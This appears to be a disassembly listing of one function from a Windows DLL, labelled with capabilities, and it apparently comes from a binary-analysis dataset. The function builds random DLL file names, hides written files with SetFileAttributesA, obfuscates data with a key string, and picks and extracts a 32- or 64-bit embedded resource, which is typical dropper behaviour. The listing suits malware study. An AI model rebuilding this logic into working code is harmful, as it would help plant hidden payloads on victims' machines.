Function at 0x180015de0
Capabilities:
Extract resource via kernel32 functions
Set file attributes

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x1e8
mov qword [rsp + 0x88], 0xfffffffffffffffe
mov rax, qword [0x1800393f8]
xor rax, rsp
mov qword [rsp + 0x1d8], rax
mov esi, r9d
mov dword [rsp + 0x40], r9d
mov rbx, r8
mov qword [rsp + 0x78], rbx
mov r15d, edx
mov r14, rcx
mov qword [rsp + 0x60], rcx
mov rax, qword [rsp + 0x250]
mov rcx, qword [rsp + 0x258]
mov rdx, qword [rsp + 0x260]
mov qword [rsp + 0x80], rdx
lea rbp, [0x18002e50b]
mov rdx, rbp
test rax, rax
cmovne rdx, rax
mov qword [rsp + 0x68], rdx
lea rax, [0x180033c14]
test rcx, rcx
cmovne rax, rcx
mov qword [rsp + 0x58], rax
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rbp
repne scasb al, byte [rdi]
not rcx
lea rdx, [rcx - 1]
mov rcx, rbp
call fcn.1800012d0
mov r13, rax
mov qword [rsp + 0x70], rax
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rbp
repne scasb al, byte [rdi]
not rcx
lea rdx, [rcx - 1]
mov rcx, rbp
call fcn.1800012d0
mov qword [rsp + 0x48], rax
xor r8d, r8d
mov edx, r15d
mov rcx, r14
call fcn.1800037e0
xor r8d, r8d
mov edx, esi
mov rcx, rbx
call fcn.1800037e0
call fcn.180013930
mov rdx, qword [rax + 8]
lea rcx, str._ssccon0987.txt
call fcn.180001930
mov rsi, rax
mov qword [rsp + 0x50], rax
mov rcx, qword [0x18003e228]
test rcx, rcx
jne 0x180015f41
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rbp
repne scasb al, byte [rdi]
not rcx
lea rdx, [rcx - 1]
mov rcx, rbp
call fcn.1800012d0
mov qword [0x18003e228], rax
mov rdx, rax
mov ecx, 0x24
call fcn.180007410
mov edx, 8
mov rcx, qword [0x18003e228]
call fcn.180005c60
mov rcx, qword [0x18003e228]
mov rcx, qword [rcx + 8]
call fcn.180005b30
mov rcx, qword [0x18003e228]
test rcx, rcx
jne 0x180015f9c
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rbp
repne scasb al, byte [rdi]
not rcx
lea rdx, [rcx - 1]
mov rcx, rbp
call fcn.1800012d0
mov qword [0x18003e228], rax
mov rdx, rax
mov ecx, 0x24
call fcn.180007410
mov edx, 8
mov rcx, qword [0x18003e228]
call fcn.180005c60
mov rcx, qword [0x18003e228]
mov rcx, qword [rcx + 8]
call fcn.180005b30
call fcn.180013930
mov rcx, qword [rax + 8]
call fcn.180005b30
mov rcx, qword [0x18003e228]
test rcx, rcx
jne 0x180016005
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rbp
repne scasb al, byte [rdi]
not rcx
lea rdx, [rcx - 1]
mov rcx, rbp
call fcn.1800012d0
mov qword [0x18003e228], rax
mov rdx, rax
mov ecx, 0x24
call fcn.180007410
mov edx, 8
mov rcx, qword [0x18003e228]
call fcn.180005c60
mov rcx, qword [0x18003e228]
mov edx, 6
mov rcx, qword [rcx + 8]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov rcx, qword [0x18003e228]
test rcx, rcx
jne 0x180016066
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rbp
repne scasb al, byte [rdi]
not rcx
lea rdx, [rcx - 1]
mov rcx, rbp
call fcn.1800012d0
mov qword [0x18003e228], rax
mov rdx, rax
mov ecx, 0x24
call fcn.180007410
mov edx, 8
mov rcx, qword [0x18003e228]
call fcn.180005c60
mov rcx, qword [0x18003e228]
mov edx, 6
mov rcx, qword [rcx + 8]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
call fcn.180013930
mov edx, 6
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov rbx, qword [0x18003e228]
test rbx, rbx
jne 0x1800160d7
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rbp
repne scasb al, byte [rdi]
not rcx
lea rdx, [rcx - 1]
mov rcx, rbp
call fcn.1800012d0
mov qword [0x18003e228], rax
mov rdx, rax
lea ecx, [rbx + 0x24]
call fcn.180007410
lea edx, [rbx + 8]
mov rcx, qword [0x18003e228]
call fcn.180005c60
mov rbx, qword [0x18003e228]
test rbx, rbx
jne 0x180016117
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rbp
repne scasb al, byte [rdi]
not rcx
lea rdx, [rcx - 1]
mov rcx, rbp
call fcn.1800012d0
mov qword [0x18003e228], rax
mov rdx, rax
lea ecx, [rbx + 0x24]
call fcn.180007410
lea edx, [rbx + 8]
mov rcx, qword [0x18003e228]
call fcn.180005c60
call fcn.180013930
mov r9, qword [rbx + 8]
mov r8, qword [0x18003e228]
mov r8, qword [r8 + 8]
mov rdx, qword [rax + 8]
lea rcx, [0x180033c28]
call fcn.180003e40
mov rcx, qword [rsi + 8]
call fcn.180002040
mov rbx, rax
xor ebp, ebp
test rax, rax
je 0x180016238
mov rdx, qword [rax + 8]
mov edi, ebp
cmp dword [rax + 4], ebp
jle 0x18001618e
nop dword [rax]
lea rcx, str._abd04
cmp byte [str._abd04], bpl
je 0x180016189
mov eax, edi
inc edi
cmp eax, dword [rbx + 4]
jge 0x180016189
movzx eax, byte [rcx]
add byte [rdx], al
inc rcx
inc rdx
cmp byte [rcx], bpl
jne 0x180016170
cmp edi, dword [rbx + 4]
jl 0x180016160
mov rcx, rbx
call fcn.180002610
mov r13, rax
mov r12d, ebp
mov ecx, dword [rax + 0xc]
mov rsi, rbp
test ecx, ecx
jle 0x1800161ef
cmp r12d, ecx
jge 0x1800161ba
test rsi, rsi
js 0x1800161ba
mov rax, qword [r13 + 0x10]
mov rdi, qword [rax + rsi*8]
jmp 0x1800161bd
mov rdi, rbp
cmp dword [rdi + 4], ebp
jle 0x1800161e0
mov edx, 1
mov rcx, qword [rdi + 8]
call fcn.180005da0
mov rdx, qword [rdi + 8]
lea rcx, [0x180033c40]
call fcn.180003e40
inc r12d
inc rsi
mov ecx, dword [r13 + 0xc]
cmp r12d, ecx
jl 0x1800161a6
mov dl, 1
mov rcx, r13
call fcn.1800016d0
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x180016209
mov edx, dword [rbx]
call fcn.180001240
mov rsi, qword [0x18003be50]
lea rdi, [rbx - 8]
lea rcx, [rsi + 0x20]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rsi + 8]
mov qword [rdi], rax
mov qword [rsi + 8], rdi
lea rcx, [rsi + 0x20]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov r13, qword [rsp + 0x70]
xor eax, eax
mov qword [rsp + 0x1c0], rax
mov dword [rsp + 0x1c8], eax
lea r14, [0x18002e50b]
mov edx, 8
lea rcx, [rsp + 0x1c0]
call fcn.1800045a0
lea rdi, [rsp + 0x1c0]
xor eax, eax
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
mov eax, dword [str..dll]
mov dword [rdi - 1], eax
movzx eax, byte [0x180033c54]
mov byte [rdi + 3], al
mov r8, qword [0x18003e228]
test r8, r8
jne 0x180016355
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, r14
repne scasb al, byte [rdi]
not rcx
lea rsi, [rcx - 1]
mov rdi, qword [0x18003be50]
mov rbx, rbp
lea rcx, [rdi + 0x20]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp qword [rdi + 8], rbx
jne 0x1800162c9
mov rcx, rdi
call fcn.180001000
mov rax, qword [rdi + 8]
test rax, rax
je 0x1800162dc
mov rbx, rax
mov rax, qword [rax]
mov qword [rdi + 8], rax
lea rcx, [rdi + 0x20]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
test rbx, rbx
je 0x180016326
lea rdi, [rbx + 8]
test rdi, rdi
je 0x180016326
mov dword [rdi + 4], esi
lea ecx, [rsi + 1]
mov rdx, rdi
call fcn.180001120
mov qword [rdi + 8], rax
test esi, esi
jle 0x180016319
movsxd r8, dword [rdi + 4]
mov rdx, r14
mov rcx, rax
call fcn.1800202d0
movsxd rcx, esi
mov rax, qword [rdi + 8]
mov byte [rcx + rax], bpl
jmp 0x180016329
mov rdi, rbp
mov qword [0x18003e228], rdi
mov rdx, rdi
mov ecx, 0x24
call fcn.180007410
mov edx, 8
mov rcx, qword [0x18003e228]
call fcn.180005c60
mov r8, qword [0x18003e228]
lea r9, [rsp + 0x1c0]
mov r8, qword [r8 + 8]
lea rdx, str._s_s
mov rcx, r13
call fcn.180001b60
mov qword [rsp + 0x30], rbp
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x80000000
lea r8d, [r9 + 1]
mov rcx, qword [r13 + 8]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
cmp rax, 0xffffffffffffffff
je 0x1800163af
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x180016250
mov r8d, r15d
mov rdx, qword [rsp + 0x60]
mov rcx, qword [r13 + 8]
call fcn.180003b10
mov rdx, qword [r13 + 8]
lea rcx, [0x180033c58]
call fcn.180003e40
mov r12, qword [rsp + 0x48]
lea r15, [0x18002e50b]
nop dword [rax]
xor eax, eax
mov qword [rsp + 0x1c0], rax
mov dword [rsp + 0x1c8], eax
lea edx, [rax + 8]
lea rcx, [rsp + 0x1c0]
call fcn.1800045a0
lea rdi, [rsp + 0x1c0]
xor eax, eax
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
mov eax, dword [str..dll]
mov dword [rdi - 1], eax
movzx eax, byte [0x180033c54]
mov byte [rdi + 3], al
mov r8, qword [0x18003e228]
test r8, r8
jne 0x1800164f9
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, r15
repne scasb al, byte [rdi]
not rcx
lea rsi, [rcx - 1]
mov rdi, qword [0x18003be50]
mov rbx, rbp
lea rcx, [rdi + 0x20]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp qword [rdi + 8], rbx
jne 0x180016468
mov rcx, rdi
call fcn.180001000
mov rax, qword [rdi + 8]
test rax, rax
je 0x18001647b
mov rbx, rax
mov rax, qword [rax]
mov qword [rdi + 8], rax
lea rcx, [rdi + 0x20]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
test rbx, rbx
je 0x1800164c5
lea rdi, [rbx + 8]
test rdi, rdi
je 0x1800164c5
mov dword [rdi + 4], esi
lea ecx, [rsi + 1]
mov rdx, rdi
call fcn.180001120
mov qword [rdi + 8], rax
test esi, esi
jle 0x1800164b8
movsxd r8, dword [rdi + 4]
mov rdx, r15
mov rcx, rax
call fcn.1800202d0
movsxd rcx, esi
mov rax, qword [rdi + 8]
mov byte [rcx + rax], bpl
jmp 0x1800164c8
mov rdi, rbp
mov qword [0x18003e228], rdi
mov rdx, rdi
mov ecx, 0x24
call fcn.180007410
mov edx, 8
mov rcx, qword [0x18003e228]
call fcn.180005c60
mov r8, qword [0x18003e228]
mov r12, qword [rsp + 0x48]
lea r9, [rsp + 0x1c0]
mov r8, qword [r8 + 8]
lea rdx, str._s_s
mov rcx, r12
call fcn.180001b60
mov qword [rsp + 0x30], rbp
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x80000000
lea r8d, [r9 + 1]
mov rcx, qword [r12 + 8]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
cmp rax, 0xffffffffffffffff
je 0x180016554
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1800163e0
mov r8d, dword [rsp + 0x40]
mov rdx, qword [rsp + 0x78]
mov rcx, qword [r12 + 8]
call fcn.180003b10
mov rdx, qword [r12 + 8]
lea rcx, [0x180033c58]
call fcn.180003e40
mov rdx, qword [0x18003e228]
test rdx, rdx
jne 0x1800165cb
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, r15
repne scasb al, byte [rdi]
not rcx
lea rdx, [rcx - 1]
mov rcx, r15
call fcn.1800012d0
mov qword [0x18003e228], rax
mov rdx, rax
mov ecx, 0x24
call fcn.180007410
mov edx, 8
mov rcx, qword [0x18003e228]
call fcn.180005c60
mov rdx, qword [0x18003e228]
mov rbx, rdx
test rdx, rdx
jne 0x180016615
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, r15
repne scasb al, byte [rdi]
not rcx
lea rdx, [rcx - 1]
mov rcx, r15
call fcn.1800012d0
mov qword [0x18003e228], rax
mov rdx, rax
lea ecx, [rbx + 0x24]
call fcn.180007410
lea edx, [rbx + 8]
mov rcx, qword [0x18003e228]
call fcn.180005c60
mov rdx, qword [0x18003e228]
mov r8, qword [rbx + 8]
mov rdx, qword [rdx + 8]
lea rcx, str._s_r_n_s
call fcn.180001930
mov r11, rax
mov rdx, qword [rax + 8]
mov edi, ebp
cmp dword [rax + 4], ebp
jle 0x180016670
lea r8, str._abd04
nop
mov rcx, r8
cmp byte [str._abd04], bpl
je 0x18001666a
nop dword [rax]
mov eax, edi
inc edi
cmp eax, dword [r11 + 4]
jge 0x18001666a
movzx eax, byte [rcx]
sub byte [rdx], al
inc rcx
inc rdx
cmp byte [rcx], bpl
jne 0x180016650
cmp edi, dword [r11 + 4]
jl 0x180016640
mov r8d, dword [r11 + 4]
mov rdx, qword [r11 + 8]
mov rcx, qword [rsp + 0x50]
mov rcx, qword [rcx + 8]
call fcn.180003b10
mov r14, qword [rsp + 0x80]
test r14, r14
jne 0x180016701
mov rdi, qword [0x18003be50]
mov rbx, rbp
lea rcx, [rdi + 0x20]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp qword [rdi + 8], rbx
jne 0x1800166b5
mov rcx, rdi
call fcn.180001000
mov rax, qword [rdi + 8]
test rax, rax
je 0x1800166c8
mov rbx, rax
mov rax, qword [rax]
mov qword [rdi + 8], rax
lea rcx, [rdi + 0x20]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
test rbx, rbx
je 0x1800166f9
add rbx, 8
je 0x1800166f9
mov dword [rbx + 4], ebp
mov rdx, rbx
mov ecx, recvfrom
call fcn.180001120
mov qword [rbx + 8], rax
mov byte [rax], bpl
jmp 0x180016797
mov rbx, rbp
jmp 0x180016797
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, r14
repne scasb al, byte [rdi]
not rcx
lea rsi, [rcx - 1]
mov rdi, qword [0x18003be50]
mov rbx, rbp
lea rcx, [rdi + 0x20]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp qword [rdi + 8], rbx
jne 0x180016735
mov rcx, rdi
call fcn.180001000
mov rax, qword [rdi + 8]
test rax, rax
je 0x180016748
mov rbx, rax
mov rax, qword [rax]
mov qword [rdi + 8], rax
lea rcx, [rdi + 0x20]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
test rbx, rbx
je 0x18001678f
add rbx, 8
je 0x18001678f
mov dword [rbx + 4], esi
lea ecx, [rsi + 1]
mov rdx, rbx
call fcn.180001120
mov qword [rbx + 8], rax
test esi, esi
jle 0x180016782
movsxd r8, dword [rbx + 4]
mov rdx, r14
mov rcx, rax
call fcn.1800202d0
movsxd rcx, esi
mov rax, qword [rbx + 8]
mov byte [rcx + rax], bpl
jmp 0x180016792
mov rbx, rbp
mov r12, qword [rsp + 0x48]
mov edi, ebp
cmp dword [rbx], ebp
jle 0x18001680d
mov ecx, dword [rbx + 4]
test ecx, ecx
jle 0x18001680d
test ecx, ecx
jle 0x18001680d
mov rdx, qword [rbx + 8]
nop dword [rax]
movsxd rax, edi
mov al, byte [rax + rdx]
cmp al, byte [0x18002e50c]
je 0x1800167c6
inc edi
cmp edi, ecx
jl 0x1800167b0
jmp 0x18001680d
test edi, edi
js 0x18001680d
nop word [rax + rax]
mov r8d, 1
mov edx, edi
mov rcx, rbx
call fcn.1800015f0
xor r9d, r9d
mov r8, r15
mov edx, edi
mov rcx, rbx
call fcn.1800014e0
mov r9d, 1
lea r8, [0x18002e50c]
mov edx, edi
mov rcx, rbx
call fcn.180001350
mov edi, eax
test eax, eax
jns 0x1800167d0
mov edi, ebp
cmp dword [rbx], ebp
jle 0x180016885
mov ecx, dword [rbx + 4]
test ecx, ecx
jle 0x180016885
test ecx, ecx
jle 0x180016885
mov rdx, qword [rbx + 8]
movsxd rax, edi
mov al, byte [rax + rdx]
cmp al, byte [0x18002e560]
je 0x180016838
inc edi
cmp edi, ecx
jl 0x180016822
jmp 0x180016885
test edi, edi
js 0x180016885
nop dword [rax]
mov r8d, 1
mov edx, edi
mov rcx, rbx
call fcn.1800015f0
mov r9d, 1
lea r8, [0x18002e570]
mov edx, edi
mov rcx, rbx
call fcn.1800014e0
lea edx, [rdi + 1]
mov r9d, 1
lea r8, [0x18002e560]
mov rcx, rbx
call fcn.180001350
mov edi, eax
test eax, eax
jns 0x180016840
mov r9, qword [0x18003e228]
test r9, r9
jne 0x1800168d7
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, r15
repne scasb al, byte [rdi]
not rcx
lea rdx, [rcx - 1]
mov rcx, r15
call fcn.1800012d0
mov qword [0x18003e228], rax
mov rdx, rax
mov ecx, 0x24
call fcn.180007410
mov edx, 8
mov rcx, qword [0x18003e228]
call fcn.180005c60
mov r9, qword [0x18003e228]
mov rax, qword [rbx + 8]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x20], rax
mov r9, qword [r9 + 8]
mov r8, qword [r12 + 8]
mov rdx, qword [r13 + 8]
lea rcx, [rsp + 0x90]
call fcn.1800140d0
nop
cmp byte [rsp + 0x270], 0
jne 0x180016ae3
lea rcx, [0x180033c70]
call fcn.180003e40
mov dword [rsp + 0x40], ebp
lea rcx, [0x180032e58]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.IsWow64Process
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
test rax, rax
je 0x180016962
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rdx, [rsp + 0x40]
call rdi
cmp dword [rsp + 0x40], 0
je 0x180016a37
call fcn.180007390
test eax, eax
je 0x180016ae3
mov rcx, qword [0x18003be50]
call fcn.1800010a0
mov rsi, rax
test rax, rax
jne 0x180016993
mov rsi, rbp
jmp 0x1800169aa
mov dword [rax + 4], ebp
mov rdx, rax
mov ecx, 0x2800
call fcn.180001120
mov qword [rsi + 8], rax
mov byte [rax], 0
mov rbx, qword [0x18003dff0]
lea r8, [0x180033b54]
mov edx, 0x67
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov r12, rax
test rax, rax
jne 0x1800169dc
lea rcx, [0x180032a08]
call fcn.180003da0
jmp 0x180016a1c
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
mov rdx, r12
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rbx, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov dword [rsi + 4], ebp
mov r8d, edi
mov rdx, rax
mov rcx, rsi
call fcn.180001a10
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov edx, reloc.WS2_32.dll_inet_ntoa
lea r8d, [rdx - 6]
mov rcx, rsi
call fcn.180005910
mov r12, qword [rsp + 0x48]
jmp 0x180016ae3
mov rcx, qword [0x18003be50]
call fcn.1800010a0
mov rsi, rax
test rax, rax
jne 0x180016a50
mov rsi, rbp
jmp 0x180016a67
mov dword [rax + 4], ebp
mov rdx, rax
mov ecx, 0x2800
call fcn.180001120
mov qword [rsi + 8], rax
mov byte [rax], 0
mov rbx, qword [0x18003dff0]
lea r8, [0x180033b54]
mov edx, 0x66
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov r12, rax
test rax, rax
jne 0x180016a9e
lea rcx, [0x180032a08]
call fcn.180003da0
mov r12, qword [rsp + 0x48]
jmp 0x180016ae3
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
mov rdx, r12
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rbx, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov dword [rsi + 4], ebp
mov r8d, edi
mov rdx, rax
mov rcx, rsi
call fcn.180001a10
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov r12, qword [rsp + 0x48]
mov qword [rsp + 0x28], r15
lea rax, [0x1800338d0]
mov qword [rsp + 0x20], rax
mov r9, r15
lea r8, [0x1800338cc]
mov rdx, qword [r13 + 8]
mov rax, qword [rsp + 0x1b8]
mov ecx, dword [rax + 8]
call fcn.180013620
mov rdi, rax
mov rdx, qword [rax + 8]
lea rcx, str.XXX__s
call fcn.180003e40
mov rcx, qword [rdi + 8]
call fcn.180006030
mov rcx, qword [rdi + 8]
test rcx, rcx
je 0x180016b3e
mov edx, dword [rdi]
call fcn.180001240
mov rsi, qword [0x18003be50]
add rdi, 0xfffffffffffffff8
lea rcx, [rsi + 0x20]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rsi + 8]
mov qword [rdi], rax
mov qword [rsi + 8], rdi
lea rcx, [rsi + 0x20]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
cmp byte [rsp + 0x268], 0
jne 0x180016c01
mov rax, qword [rsp + 0x1b8]
mov ecx, dword [rax + 8]
test ecx, ecx
cmove r13, r12
mov qword [rsp + 0x28], r15
lea rax, [0x1800338d4]
mov qword [rsp + 0x20], rax
mov r9, r15
lea r8, [0x1800338cc]
mov rdx, qword [r13 + 8]
call fcn.1800137b0
mov rdi, rax
mov rdx, qword [rax + 8]
lea rcx, [0x180033c90]
call fcn.180003e40
mov rcx, qword [rdi + 8]
call fcn.180006030
mov rcx, qword [rdi + 8]
test rcx, rcx
je 0x180016bd7
mov edx, dword [rdi]
call fcn.180001240
mov rsi, qword [0x18003be50]
add rdi, 0xfffffffffffffff8
lea rcx, [rsi + 0x20]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rsi + 8]
mov qword [rdi], rax
mov qword [rsi + 8], rdi
lea rcx, [rsi + 0x20]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
cmp byte [rsp + 0x278], 0
jne 0x180016c1e
lea rcx, [0x180033ca8]
call fcn.180003e40
xor ecx, ecx
call fcn.1800159c0
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, qword [rsp + 0x1b8]
test rax, rax
je 0x180016c41
cmp dword [rax], 0
jne 0x180016c41
cmp dword [rax + 4], 0
je 0x180016c48
inc ebp
cmp ebp, 0x32
jl 0x180016c31
lea rcx, [rsp + 0x90]
call fcn.180013cd0
xor eax, eax
mov rcx, qword [rsp + 0x1d8]
xor rcx, rsp
call fcn.180017f70
add rsp, 0x1e8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret